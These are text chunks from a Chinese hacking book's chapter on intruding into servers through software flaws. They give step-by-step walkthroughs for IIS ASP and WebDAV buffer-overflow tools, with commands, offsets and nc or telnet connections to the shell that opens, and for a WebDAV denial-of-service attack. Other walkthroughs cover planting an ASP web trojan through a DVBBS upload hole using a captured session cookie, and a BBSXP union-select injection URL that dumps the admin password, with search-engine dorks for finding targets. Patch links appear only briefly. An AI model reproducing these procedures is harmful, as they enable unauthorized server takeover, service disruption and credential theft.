    {"text": "通过利用这个漏洞可以导致 Windows 2000 系统产生缓冲溢出并以 IWAM_computer- name 用 户的权限执行任意代码，而在 Windows NT4 下可以以 System 的权限执行任意代码。"},
    {"text": "2．漏洞检测 打开 X-Scan，在“扫描项目”中选中 IIS 漏洞，然后开始扫描，如果得到“可能存在 IIS .asp 映射分块编码远程缓冲区溢出漏洞”就说明远程服务器存在该漏洞，如图 4-37 所示。 图 4-37 3．漏洞利用  使用工具：IIS ASP.DLL OVERFLOW PROGRAM 2.0  ASPCode 使用方法：aspcode <server> [aspfile] [webport] [winxp]或 aspcode <server>  参数说明： <server>：远程服务器 [aspfile]：远程服务器上 ASP 文件所在路径 [webport]：远程服务器 Web 服务端口 [winxp]：Win XP 模式  实例：在 MS-DOS 中键入命令“aspcode 192.168.245.128”，接着按几下回车键或等待 一会儿。 如果得到“C:\\WINNT\\system32>”这个提示符，就意味着溢出成功，可以使用 “Ctrl+C”组合键断开与远程服务器的连接，如图 4-38 所示。 图 4-38 188 第 4 章 基于服务器软件漏洞的入侵 从理论上来讲，通过.asp 漏洞，入侵者能够直接得到管理员权限，但实际上使用 ASPCode 只 能获得远程服务器 User 权限的 Shell。 可以这样说，通过.asp 漏洞或 Unicode 漏洞进行入侵在效果 上和过程上是完全相同的，入侵者完全可以使用与 Unicode 漏洞相同的权限提升方法来得到目标 服务器的管理员 Shell，这也是本节把它们放在一起来讲的原因。"},
    {"text": "4．安全解决方案  补丁下载 * Microsoft IIS 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37931 * Microsoft IIS 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824  相关信息 Marc Maiffret（marc@eeye.com）  参考：http://www.microsoft.com/technet/security/bulletin/MS02-018.asp http://archives.neohapsis.com/archives/bugtraq/2002-04/0116.html 4.2 IIS 漏洞（二） 本节介绍 IIS 服务器的一个新漏洞——“WebDAV 漏洞”，目前好多 IIS 服务器都存在该漏洞。 4.2.1 WebDAV 远程缓冲区溢出漏洞 1．漏洞描述（来自安全焦点 http://www.xfocus.net） Microsoft Windows 2000 ntdll.dll WebDAV 接口远程缓冲区溢出漏洞。  发布时间：2003-03-27  更新时间：2003-03-27  受影响系统 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Professional SP3 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 189 黑客攻防实战详解 Microsoft Windows 2000 Server Microsoft Windows 2000 Terminal Services SP3 Microsoft Windows 2000 Terminal Services SP2 Microsoft Windows 2000 Terminal Services SP1 Microsoft Windows 2000 Terminal Services  详细描述 Microsoft IIS 5.0 带有 WebDAV 组件对用户输入的传递给 ntdll.dll 程序处理的请求未做充分的 边界检查，远程入侵者可以通过向 WebDAV 提交一个精心构造的超长数据请求而导致发生缓冲区 溢出，这可能使入侵者以 LocalSystem 的权限在主机上执行任意指令。 2．漏洞检测 可以通过工具“WebDAVScan”进行检测， “WebDAVScan”是红盟编写的专门用于检测 IIS5.0 中 WebDAV 漏洞的专用扫描器，可以填上 IP 范围进行大面积扫描，并可以返回远程服务器的 Web 服务器版本。"},
    {"text": "图 4-40 190 第 4 章 基于服务器软件漏洞的入侵 然后把该窗口放置一旁不管，再打开 wd0.3-en.exe，在其中输入远程服务器 IP，本机 IP 和端 口，如图 4-41 所示。"},
    {"text": "等待一段时间，如果 WebDAV 漏洞溢出成功，远程服 务器便会与本地的监听端口主动连接，从而与远程服务器建立连接，连接后就可以执行任何命令。"},
    {"text": "② BIG5.exe：繁体版 IIS 溢出工具。  使用方法：big5.exe 目标 IP  代码的原型是 isno 的 webdav3.pl  exploit 的原型由 Nanika 提供  本次修改将 lock 替换成了 PROPFIND 这样会减少远程服务器 IIS 崩溃的可能，修改了溢出 代码，对于默认设置 SP3 版本的主机基本上可以做到一次成功，将反馈信息都改为中文的。 ③ Webdavx3：中文版 IIS 溢出工具，溢出成功后直接打开 7788 端口等待连接。 使用方法：Webdavx3 <目标 IP> ④ WebDAV：突破防火墙的 WebDAV 溢出。  使用方法 webdav.exe <目标 IP> <端口> <偏移量>  <端口>：目标服务器提供 Web 服务的端口，默认为 80  <偏移量>：一般 0、8、9 成功几率最高  成功标志：一旦出现“C:\\INETPUB\\WWWROOT\\NNNNN OK！"},
    {"text": "3．实例一 这里介绍一下如何通过工具 Webdavx3 对简体中文版 IIS5.0 进行 WebDAV 漏洞溢出。 思路：扫描 WebDAV 漏洞、溢出、登录、建立账号、断开连接。 步骤 1 扫描 WebDAV 漏洞。"},
    {"text": "其中需要说明的是，在 本例中的参数“Port”为 80，80 端口是 Web 服务器默认的端口号，但 IIS 服务器可以对该参数进 行修改，比如改成 8080 或 8000 端口，这时候就要在扫描的时进行相应的修改。"},
    {"text": "当命令执行后，Webdavx3 会尝试向远程服务 器发送不同偏移量的数据包对其进行溢出。 当出现“waiting for iis restart……”，并在后面停顿很 长时间，就表明溢出成功，如图 4-43 所示，这时候使用“Ctrl+C”结束 Webdavx3。"},
    {"text": "在 MS-DOS 中键入命令“telnet 192.168.245.132 7788”进行 Telnet 登录，登录成功后如图 4-44 所示。 图 4-44 或者在 MS-DOS 中键入“nc –vv 192.168.245.132 7788”命令通过 nc 方式进行登录。"},
    {"text": "其中参数 “-vv”表示详细显示信息，参数“192.168.245.132”是远程服务器的 IP 地址，参数“7788”是远 程服务器在漏洞溢出后开放的连接端口。"},
    {"text": "在 Windows 2000 中，可以通过设置来打开和关闭回显： 登录后使用“Ctrl+]”进入设置，使用命令 set local_echo 即可打开本地回显，使用命令 unset local_echo 可关闭本地回显，具体说明请用 set?和 unset？"},
    {"text": "如果远程服务器使用 8080 端提供 Web 服务，那 么就在命令中把 80 改成 8080，参数“0”表示偏移量为 0，如果偏移量 0 不成功，则需要手动改 成其他偏移量再重新执行，其中偏移量为 0、8、9 的溢出成功几率最大。 命令执行后，如果出现“C:\\inetpub\\wwwroot\\NNNNNNNNNNNNN”提示，就说明溢出成功， 如图 4-47 所示。"},
    {"text": "图 4-47 在使用该工具的时候需要注意一点，当在溢出过程中长时间等待或出现如图 4-48 所示回显的 时候，说明偏移量不正确。 此时需要使用“Ctrl+C”结束本次溢出，改变偏移量后重新执行溢出 命令。"},
    {"text": "193 黑客攻防实战详解 图 4-48 从前面的实例可以看出，WebDAV 漏洞的溢出是通过 Web 端口进行的，既然远程服务器本身 就是用来提供 Web 服务的，那么它的防火墙就不会阻止发向该端口的数据。 也就是说，即使远程 服务器中设有网络防火墙，入侵者也可以通过 WebDAV 漏洞实现入侵。"},
    {"text": "5．安全解决方案  Microsoft Windows 2000 Professional SP3: Microsoft Patch Q815021，下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC9 29B&displaylang=en  All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021，下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C 49F&displaylang=ja 4.2.2 WebDAV 超长请求远程拒绝服务攻击漏洞 1．漏洞描述（引自 Microsoft Security Bulletin） Microsoft IIS WebDAV 超长请求远程拒绝服务攻击漏洞。  受影响系统： Microsoft IIS 5.0  Microsoft Windows 2000 Server SP3  Microsoft Windows 2000 Server SP2  Microsoft Windows 2000 Server SP1  Microsoft Windows 2000 Server  Microsoft Windows 2000 Professional SP3  Microsoft Windows 2000 Professional SP2  Microsoft Windows 2000 Professional SP1  Microsoft Windows 2000 Professional  Microsoft Windows 2000 Datacenter Server SP3  Microsoft Windows 2000 Datacenter Server SP2  Microsoft Windows 2000 Datacenter Server SP1  Microsoft Windows 2000 Datacenter Server 194 第 4 章 基于服务器软件漏洞的入侵  Microsoft Windows 2000 Advanced Server SP3  Microsoft Windows 2000 Advanced Server SP2  Microsoft Windows 2000 Advanced Server SP1  Microsoft Windows 2000 Advanced Server Microsoft IIS 5.1  Microsoft Windows XP Professional SP1  Microsoft Windows XP Professional  Microsoft Windows XP Home SP1  Microsoft Windows XP Home  Microsoft Windows XP 64-bit Edition SP1  Microsoft Windows XP 64-bit Edition  描述： Microsoft IIS 5.0（Internet Infomation Server 5）是 Microsoft Windows 2000 自带的一个网络信 息服务器，其中包含 HTTP 服务功能。"},
    {"text": "WebDAV 实现对部分模式的超长请求处理不正确，远程攻击者可以利用这个漏洞对 IIS 服务 进行拒绝服务攻击。 攻击者可以使用 PROPFIND 或 Search 请求方法，提交包含 49153 字节的 WebDAV 请求，IIS 会由于拒绝服务而重新启动。"},
    {"text": "2．漏洞利用 拒绝服务攻击也称 DoS，在这种攻击下，通过阻塞目标网络或发送畸形数据使远程服务器过 载而陷入瘫痪状态，从而不能向任何客户提供服务。"},
    {"text": "3．实例：通过 WebDAV 拒绝服务攻击漏洞使远程 IIS 服务器拒绝服务  使用工具：webdavdos  命令格式：webdavdos IP，如图 4-49 所示。 图 4-49 195 黑客攻防实战详解 虽然该工具是专门用来针对 WebDAVDoS 的工具，但是成功的几率并不高，现在来介绍另一 种方法。 在前面已经介绍过，入侵者通过 WebDAV 溢出工具可以打开远程服务器端口来实现远程 控制，如 webdavx3 在溢出成功后会打开远程服务器的 7788 端口来等待入侵者连接。 实际上，在 该服务器打开监听端口后，它的 80 端口就已经死掉了，只有当入侵者登录到它的 7788 端口或该 服务器管理员手动重起 IIS 后，Web 服务器才可以被正常访问，这也相当于 WebDAVDoS 产生的 效果，即不能正常提供 Web 服务。 下面通过实例来看看效果，在 webdavx3 192.168.245.138 成功溢出后，客户端无法访问该远程 服务器，如图 4-50 所示。 图 4-50 4．安全解决方案 Microsoft 已经为此发布了一个安全公告（MS03-018）及相应补丁： MS03-018：Cumulative Patch for Internet Information Service (811114) 链接：http://www.microsoft.com/technet/security/bulletin/MS03-018.asp  补丁下载： IIS 5.0: http://microsoft.com/downloads/details.aspx?FamilyId=2F5D9852-4ADD-44F8-8715-AC3D7D7D 94BF&displaylang=en IIS 5.1: 32-bit Edition http://microsoft.com/downloads/details.aspx?FamilyId=77CFE3EF-C5C5-401C-BC12-9F08154A5 007&displaylang=en 64-bit Edition http://microsoft.com/downloads/details.aspx?FamilyId=86F4407E-B9BF-4490-9421-008407578D1 1&displaylang=en 4.2.3 WebDAV XML 消息处理远程拒绝服务漏洞 1．漏洞描述（引自 http://www.nsfocus.net/） 发布日期：2004-10-12 更新日期：2004-10-14  受影响系统： 196 第 4 章 基于服务器软件漏洞的入侵 Microsoft IIS 6.0 Microsoft IIS 5.1 Microsoft IIS 5.0 Microsoft Windows 2000 Server SP4 Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server Microsoft Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server SP4 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server  详细描述 Microsoft IIS 默认提供了对 WebDAV 的支持，WebDAV 可以通过 HTTP 向用户提供远程文件 存储的服务。 Microsoft IIS 包含的 WebDAV 组件对特殊构建的 WebDAV 请求处理不正确，远程攻击者可以 利用这个漏洞利用 WebDAV 消耗大量内存和 CPU 时间，导致拒绝服务攻击。 攻击者可以构建恶意的使用 XML 属性的 WebDAV PROPFIND 请求，可导致 XML 解析器消 耗大量内存和 CPU 时间，造成拒绝服务。"},
    {"text": "命令格式：perl ms04-030_spl.pl <主机 IP 地址> <端口号> 工具说明：ms04-030_spl.pl 是用 Perl 语言编写的源代码，因此为了运行此源程序，需要系统 配置好 Perl 语言的运行环境。"},
    {"text": "安装过程界面如图 4-53 所示。 图 4-52 图 4-53 单击“Finish”按钮，安装结束。 图 4-54 （3）检测安装是否成功 在命令行方式下输入 perl –v。 如果出现如图 4-55 所示画面说明运行环境配置成功。"},
    {"text": "这里需要说明的是 WebDAV 服务在原先即存在 ms04-030 中的漏洞，但在早先并没 有被发现，所以一旦查找某服务器存在 ms03-007 中的漏洞，那么这台服务器也极有可能存在 WebDAV XML 消息处理远程拒绝服务漏洞。"},
    {"text": "步骤 2 溢出攻击 打开命令行方式，输入 perl ms04-030_spl.pl 192.168.116.129 80，这里要注意如果 ms04-030 _spl.pl 不在硬盘的根目录下则需要输入 ms04-030_spl.pl 的完整路径，运行如图 4-57 所示。"},
    {"text": "5．安全解决方案 补丁下载地址：  Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=D2C632A7-CD43-466C-A624-D841 905CE181  Microsoft Windows XP and Microsoft Windows XP Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=6A338C59-3693-4A25-B823-431A5 C21A4B7  Microsoft Windows XP 64-Bit Edition Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=0412A361-28C5-45F7-9853-BCDC9 D7B2B97  Microsoft Windows XP 64-Bit Edition Version 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=1F9CA027-B0B8-47DC-BB96-8709 E3DB0DF2  Microsoft Windows Server 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=81CE104D-5257-447C-A2CD-D4D1 49581D71  Microsoft Windows Server 2003 64-Bit Edition 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=1F9CA027-B0B8-47DC-BB96-8709 E3DB0DF2 4.2.4 Windows Media 服务 nsiislog.dll 远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/） 发布日期：2003-06-25 更新日期：2004-06-26 200 第 4 章 基于服务器软件漏洞的入侵  受影响系统： Microsoft Windows 2003 Microsoft Windows 2000 SP3 Microsoft Windows 2000 SP2 Microsoft Windows 2000 SP1 Microsoft Windows 2000  详细描述： Microsoft Windows 媒体服务（Media Services）是 Microsoft Windows 2000 Server、Advanced Server 和 Datacenter Server 包含的服务，支持通过多播流从网络上传送媒体内容给客户端。"},
    {"text": "此功能以 ISAPI 扩展实现 nsiislog.dll，当 Windows 媒体服务安装在 Windows NT 4.0 服务器上或在 Windows 2000 中通过增加／删除程序进行安装时， nsiislog.dll 就会安装在 IIS 脚本目录下。"},
    {"text": "Windows 2000 下安装的 nsiislog.dll 处理超长 POST 请求数据时存在缓冲区溢出漏洞，这可导致攻击者发送 畸形请求给服务器，使 IIS 停止对 Internet 请求的响应或执行任意指令。"},
    {"text": "2．漏洞检测 （1）方法一：使用端口扫描工具扫描 远程主机如果打开了 Windows Media 服务，其主机上会打开 1755 端口，而开放 Media 服务的 远程主机有存在漏洞的可能性，因此漏洞检测可以近似通过检测扫描远程主机是否开启了 1755 端 口来实现。"},
    {"text": "图 4-59 201 黑客攻防实战详解 进行检测很简单，可以直接添入起始 IP 和终止 IP，然后单击“->”按钮，再单击界面下方的 蓝色开始按钮。 如果想加快查找速度可以选择“查找主机与服务”选项卡，在 TCP 下面的端口框中清除除 1755 以外的全部端口，回到“扫描”选项卡，添入起始 IP 和终止 IP，然后单击“->”按钮，再单击界 面下方的蓝色开始按钮，扫描结果如图 4-60 所示。"},
    {"text": "202 第 4 章 基于服务器软件漏洞的入侵 图 4-62 图 4-63 第二种方式要精确一些，在 X-Scan 中设置如图 4-64 所示，查看扫描报告中是否存在 Windows Media 服务 nsiislog.dll 远程缓冲区溢出漏洞。"},
    {"text": "步骤 1 漏洞检测 使用 X-Scan 扫描 192.168.232.2~192.168.232.253，扫描结果如图 4-66 所示，192.168.232.51 存在此漏洞。 图 4-66 步骤 2 漏洞溢出 打开 CMD 窗口，找到漏洞溢出工具所在的目录，输入“iis.exe 192.168.232.131 80”，如图 4-67 所示。"},
    {"text": "图 4-68 5．安全解决方案 补丁下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=F772E131-BBC9-4B34-9E78-F71D9742FE D8&displaylang=en 4.2.5 Microsoft FrontPage Server Extensions 远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/） 发布日期：2003-11-05 更新日期：2003-11-12  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows 2000 SP3 Microsoft Windows 2000 SP2  不受影响系统： Microsoft Windows NT 4.0 SP6a Microsoft Windows Me Microsoft Windows 2003 Microsoft Windows 2000 SP4  详细描述： Microsoft FrontPage 服务器扩展是 Microsoft 公司开发的用于加强 IIS Web 服务器的功能的软 件包。 Microsoft FrontPage Server Extensions 存在两个新的安全漏洞，远程攻击者可以利用这个漏洞 进行缓冲区溢出攻击，可能以 FrontPage 进程权限在系统上执行任意指令。 第一个漏洞是由于 FrontPage 服务扩展的远程调试功能上存在缓冲区溢出造成的，这个功能用 于用户远程连接 FrontPage 服务扩展的服务器和远程调试内容使用，如 Visual Interdev。"},
    {"text": "攻击者成 205 黑客攻防实战详解 功利用这个漏洞后，可以以本地 System 权限在系统上执行任意指令，然后在系统上执行任意操作， 如安装程序，查看更改或删除数据，建立拥有全部权限的账户等。"},
    {"text": "第二个漏洞存在于 SmartHTML 解析器中，该解析器提供对 Web 表单和其他基于 FrontPage 动态内容的支持，攻击者利用这个漏洞可以使运行 FrontPage 服务扩展的服务器临时停止对正常请 求的响应。"},
    {"text": "5．安全解决方案  Microsoft FrontPage Server Extensions 2000 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=C84C3D10-A821-4819-BF58-D3BC7 0A77BFA&displaylang=en  Microsoft FrontPage Server Extensions 2000 (Shipped with Windows 2000)下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=057D5F0E-0E2B-47D2-9F0F-3B15D D8622A2&displaylang=en  Microsoft FrontPage Server Extensions 2000 (Shipped with Windows XP) 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=9B302532-BFAB-489B-82DC-ED1E 49A16E1C&displaylang=en  Microsoft FrontPage Server Extensions 2002 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=3E8A21D9-708E-4E69-8299-86C493 21EE25&displaylang=en  Microsoft SharePoint Team Services 2002 (shipped with Office XP) 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=5923FC2F-D786-4E32-8F15-36A1C9 E0A340&displaylang=en 207 黑客攻防实战详解 4.2.6 常见问题与解答 1．问：使用 WebDAVX3 对远程服务器进行漏洞溢出，当出现“waiting for iis restart…”的时 候，使用“Ctrl+C”结束 WebDAVX3，但通过 Telnet 和 nc 连接都不成功，为什么？"},
    {"text": "2．问：确定远程服务器的 WebDAV 漏洞溢出成功，但无论使用 Telnet 还是 nc 进行连接都不 成功，请问这是为什么? 答：如果 WebDAV 溢出成功，但与远程主机连接失败，那么可能是由于远程服务器安装有网 络防火墙。"},
    {"text": "3．问：在使用 WebDAVX3 进行漏洞溢出测试的时候，出现了以下信息： “This application has been generated with an evaluation license of the PerlApp utility. The evaluation license has expired now. Please contact the author of this application for a non-expiring version of the program: yan xue <isno@hacker.com.cn>.” 从而导致无法使用该程序，为什么？"},
    {"text": "答：该工具对允许使用的时间进行了限制。 如果出现上述提示信息，则说明该工具已经超过 了使用期限。 此时可以通过调整系统时间的方法，比如把系统时间调到 2001 年，就可以继续使用 该工具了。"},
    {"text": "4.3 论坛漏洞 论坛是 Internet 上的一种电子信息服务系统，它提供一块公共电子白板，每个注册用户都可以 在上面“书写”，可发布信息或提出看法。"},
    {"text": "目前论坛软件很少有人自己编写，而大都是采用在网上下载的源程序。 常见的论坛源程序有 动网论坛（DV BBS）、雷傲论坛及目前比较流行的 BBS XP 论坛。"},
    {"text": "4.3.1 上传漏洞 论坛上传漏洞是论坛中一种很常见的漏洞。 论坛源码往往由于设计失误而引发漏洞，其中允 许远程用户将任意文件上传到论坛主机上的漏洞被称为论坛的上传漏洞。 通过论坛上传漏洞，入 侵者甚至可以完全控制远程开启论坛服务的主机。"},
    {"text": "绝大部分论坛为了界面的美观与人性化都支持 文件上传功能，而上传的文件有类型的限制，设计失误是指对文件类型过滤不严，比如本应只允 许 JPEG 格式的文件上传，结果用户却可以上传 ASP 文件。"},
    {"text": "下面以利用动网论坛（DV BBS）存在 的上传漏洞的实例来说明上传漏洞的具体内容及利用方法。 1．实例 利用动网论坛上传漏洞进行入侵。 208 第 4 章 基于服务器软件漏洞的入侵 动网论坛上传漏洞的描述：动网论坛上传漏洞存在于 DV BBS7.0 SP2 及其更低的所有版本中， 其中 DV BBS7.0 SP2 以前的版本可以利用工具直接上传 ASP 文件。"},
    {"text": "漏洞存在于基本资料修改中头像上传位置，如图 4-73 所示，单击“上传”按钮将调用 upfile.asp 文件，而 upfile.asp 中存在文件类型过滤不严的问题。"},
    {"text": "图 4-74 本实例中将对一个已发现存在上传漏洞的动网论坛主机进行攻击测试，地址：http://192.168. 232.132，版本为 6.1.0，如图 4-75 所示。"},
    {"text": "步骤 2 注册用户 本例中想利用上传漏洞需要进入用户基本资料设置页面，因此首先需要注册一个用户，这里 的用户名注册为 squirrel，密码为 111111，登录时如图 4-76 所示。"},
    {"text": "210 第 4 章 基于服务器软件漏洞的入侵 图 4-78 步骤 3 获取 Cookie  什么是 Cookie Cookie 是由 Internet 站点创建的、将信息存储在计算机上的文件，例如访问站点时的首选项。"},
    {"text": "Cookie 包括永久 Cookie 和临时 Cookie。 永久 Cookie 以文件形式存储在计算机上，关闭 Internet Explorer 时仍然保留在计算机上，再次访问该站点时，创建该 Cookie 的网站可以读取。 临时 Cookie 或会话 Cookie 仅为当前浏览的对话存储，关闭 Internet Explorer 时即从计算机上删除。"},
    {"text": " 工具介绍 使用工具：Winsock Expert。 工具说明：目前常用的版本是 Winsock Expert v0.6 beta1。 Winsock Expert 是用于跟踪程序执 行的专用软件，可以使用这个软件来跟踪 IE 的执行情况，获取相关的 Cookie 信息。  Cookie 的获取 打开 Winsock Expert，如图 4-79 所示。"},
    {"text": "212 第 4 章 基于服务器软件漏洞的入侵 图 4-82 图 4-83 单击“上传”按钮后显示如图 4-84 所示，直接上传 ASP 文件会被过滤掉，后边的步骤中将介 绍如何利用工具上传 ASP 网页木马，现在只是为了得到 Cookie 为后边的步骤做准备。"},
    {"text": "在 Winsock Expert 窗口中 Packets Text 栏下找到“POST 路 径”项所在的行，并单击此行，在窗口下部的详细信息中即包含了需要的 Cookie 信息和上传处理 文 件 的 路 径 信 息 和 文 件 名 信 息 ， 如 图 4-85 所 示 。 本 例 中 获 得 的 Cookie 信 息 为 ASPSESSIONIDQGQQGUDK=NMPJMAFDNGMAJHOCNLOELOHL，上传处理文件的路径为论坛 根目录，文件名为 upfile.asp。"},
    {"text": "图 4-85 步骤 4 生成网页木马  工具介绍 使用工具：海阳顶端网 ASP 木马 2006 版。 工具说明：海阳顶端网 ASP 木马 2006 版中包含有 6 个文件，文件的使用说明如下。  2006.asp，海阳顶端网 ASP 木马 2006 版文件。"},
    {"text": " 2006X.exe，海阳顶端网 ASP 木马 2006 C/S 模式转换器。  2006X2.exe，海阳顶端网 ASP 木马 2006 专用短服务器端 C/S 模式转换器。  2006Z.exe，海阳顶端网 ASP 木马 2006_Lite 版本组合器，用来自定义生成相应功能的 Lite 版木马。"},
    {"text": " hididi.ini，2006Z.exe 的配置文件。 这里使用 2006Z.exe 生成的网页木马文件。 使用 2006Z.exe 的好处在于生成网页木马的功能可 选，且上传后易于操作。 2006Z.exe 使用说明：打开程序后，可以在“页面选择”框架里选择所需 要生成的 Lite 版海阳顶端网 ASP 木马功能模块，“页面生成”框架里的源文件指的是 Full 版的海 阳顶端网 ASP 木马 2006（本文件夹中的 2006a.asp），选择好相应的源文件及生成文件后，单击“生 成”按钮即可生成相应功能组合的海阳顶端网 ASP 木马 2006_Lite 版。"},
    {"text": "214 第 4 章 基于服务器软件漏洞的入侵  网页木马的生成 打开 2006Z.exe，如图 4-86 所示。 图 4-86 在页面选择中可以选择需要的功能，各个功能在图 4-86 中已给出，选择“FSO 文件浏览操作 器”功能，生成木马文件命名为 sys.asp（名称任意，sys.asp 是为了增加名称的隐蔽性），如图 4-87 所示。 图 4-87 单击“生成”按钮，生成网页木马文件 sys.asp。 步骤 5 将网页木马上传到论坛主机  工具介绍 使用工具：DVBBS 上传利用程序（dvup_delphi.exe）。 工具说明：DVBBS 上传利用程序（dvup_delphi.exe）是我国著名的网络安全技术专家桂林老 兵编写的动网论坛上传漏洞利用工具，其运行界面如图 4-88 所示。 图 4-88 215 黑客攻防实战详解  上传网页木马 在 DVBBS 上传利用程序（dvup_delphi.exe）中填入用于上传的相关信息。"},
    {"text": "“提交地址”用于填入论坛上传处理文件的地址信息，本例中已通过 Winsock Expert 获得，为 http://192.168.232.132/upfile.asp。 “上传路径”用于指定 ASP 木马文件上传后的存放位置，在这里还可以进行木马文件的名称 更改，本例中上传路径填为 sys.asp，即保存在论坛根目录下且命名为 sys.asp。 “本地文件”用于选择需要上传的文件（一般是网页木马文件）的位置，可以通过单击“浏览” 按钮进行选择，本例中的本地路径填为 G:\\Documents and Settings\\Squirrel\\桌面\\dv7\\hyt2006 \\sys.asp。 “Cookie”中填入通过 Winsock Expert 获得的 Cookie，本例中为 ASPSESSIONIDQGQQGUDK =NMPJMAFDNGMAJHOCNLOELOHL。"},
    {"text": "图 4-89 在上传文件前往往将“显示返回信息”打开，用于显示文件上传是否成功，如图 4-90 所示。 图 4-90 单击“上传文件”按钮，显示如图 4-91 所示。"},
    {"text": "216 第 4 章 基于服务器软件漏洞的入侵 图 4-91 网页木马文件上传成功，所存放位置为 http://192.168.232.132/sys.asp。 步骤 6 连接检测 打开 IE，输入“http://192.168.232.132/sys.asp”，显示如图 4-92。"},
    {"text": "这个密码可以通过修改 2006.asp 文件来更改，用记事本打开 2006.asp，显示如图 4-93 所示，在第 29 行有语句： 图 4-93 Const userPassword = \"lcxMarcos\" ''管理密码 将 lcxMarcos 替换为自己设定的密码即可。"},
    {"text": "由于不同论坛系统在实现方式上存在差异，因 此对于上传漏洞的修补，需要到具体论坛系统的官方网站上下载相应的补丁包或升级程序。 对于本节中所涉及的动网论坛系统的上传漏洞，可以到 http://www.dvbbs.net/下载该漏洞的补 丁程序。"},
    {"text": "1．实例：利用 BBS XP 论坛暴库漏洞进行入侵 BBS XP 论坛暴库漏洞的描述：BBS XP 论坛 5.15 版存在暴 库漏洞。 BBS XP 论坛 5.15 版存在暴库漏洞原理：blog.asp 是一个日 志文件，用于显示论坛社区的公告信息。 blog.asp 的第一行为<!-- 图 4-96 #include file=\"setup.asp\" -->， 所调用的 setup.asp 中含有数据库操 218 第 4 章 基于服务器软件漏洞的入侵 作的相关内容。 由于缺少有效的检测机制，可以通过 blog.asp 直接构造数据库执行命令访问数据 库。"},
    {"text": "一条从数据库的表 clubconfig 中读取 adminpassword 值的语句如下： blog.asp?id=1%20union%20select%20top%201%201,[adminpassword],1,1,1,1,1%20from%20[clubconfig] 表 clubconfig 是论坛数据库中存放管理员信息的表，值 adminpassword 是管理员的密码，如图 4-97 所示。"},
    {"text": "漏洞利用思路：首先检测远程主机是否存在漏洞。 检测到漏洞后注册一个账号，获取 Cookie 信息。 暴库拿到管理员账号、前台密码和后台密码后结合已获得的 Cookie 进行 Cookie 欺骗，从 而获得管理员权限。"},
    {"text": "以百度为例，在百度中搜索“\"Powered by BBSxp 5.15/ Licence \"”，如图 4-98 所示。 图 4-98 注意到搜索项为“\"Powered by BBSxp 5.15/Licence \"”。 “Powered by BBSxp 5.15/Licence”代表 BBS XP 论坛 5.15 版+Access 数据库； Powered by BBSxp 5.15 SQL/Licence 代表 BBS XP 论坛 5.15 版+SQL Server 数据库。"},
    {"text": "图 4-101 220 第 4 章 基于服务器软件漏洞的入侵 步骤 3 利用暴库漏洞暴出管理员后台密码 利用暴库漏洞暴出管理员密码有两种方式：手动获取方式和自动获取方式（使用漏洞工具） 。"},
    {"text": " 手动获取方式 在 IE 中直接输入 http://192.168.232.131/blog.asp，会有如图 4-102 所示的显示。 图 4-102 在 IE 的地址栏中输入“http://192.168.232.131/blog.asp?id=1%20union%20select%20top% 201% 201,[adminpassword],1,1,1,1,1%20from%20[clubconfig]” ，其中的“192.168.232.131”为论坛主机的 地址，如图 4-103 所示。"},
    {"text": "221 黑客攻防实战详解 使用工具：BBSXP 暴库工具。 工具说明：BBS XP 论坛的暴库漏洞利用工具，由火狐论坛的小强编写。 这个工具实际相当于 一个执行语句的集合，通过所提供的参数对 BBS XP 论坛进行暴库。"},
    {"text": "图 4-104 表名：论坛数据库中的某个表，常用的表是 clubconfig（存放有后台管理密码）和 user（存放 用户信息）。 字段名：指定表中的某个字段，常用的字段是 adminpassword（管理员密码，存放在 clubconfig 表中）和 username（用户名，存放在 user 表中）。"},
    {"text": "常用的附加条件有 membercode=5（指定暴出管理员账号，存放在 clubconfig 表中）和 ID =1（一般情况下管理员是第一个注册到论坛的用户，其对应的 ID 号为 1，存放在 user 表中） 。"},
    {"text": "图 4-109 图 4-110 管理员前台密码为 742EFA3A2FAC92228806E142523219D9，前后台密码是一样的，这种前后 223 黑客攻防实战详解 台使用相同的密码是很不安全的。"},
